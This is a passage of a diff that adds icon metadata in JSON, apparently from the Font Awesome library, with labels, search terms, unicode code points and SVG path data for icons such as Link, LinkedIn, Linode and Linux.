112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z" + }, + "regular": { + "last_modified": 1628088634894, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 352 512\"><path d=\"M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "352", + "512" + ], + "width": 352, + "height": 512, + "path": "M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "line": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3c0", + "label": "Line", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861003, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z" + } + }, + "free": [ + "brands" + ] + }, + "link": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "attach", + "attachment", + "chain", + "connect" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0c1", + "label": "Link", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635577, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z" + } + }, + "free": [ + "solid" + ] + }, + "linkedin": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "linkedin-square" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f08c", + "label": "LinkedIn", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861003, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z" + } + }, + "free": [ + "brands" + ] + }, + "linkedin-in": { + "changes": [ + "2", + "5.0.0", + "5.4.1", + "5.8.0", + "5.8.1" + ], + "ligatures": [], + "search": { + "terms": [ + "linkedin" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f0e1", + "label": "LinkedIn In", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775902, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z" + } + }, + "free": [ + "brands" + ] + }, + "linode": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2b8", + "label": "Linode", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633724, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z" + } + }, + "free": [ + "brands" + ] + }, + "linux": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "tux" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f17c", + "label": "Linux", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722333, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 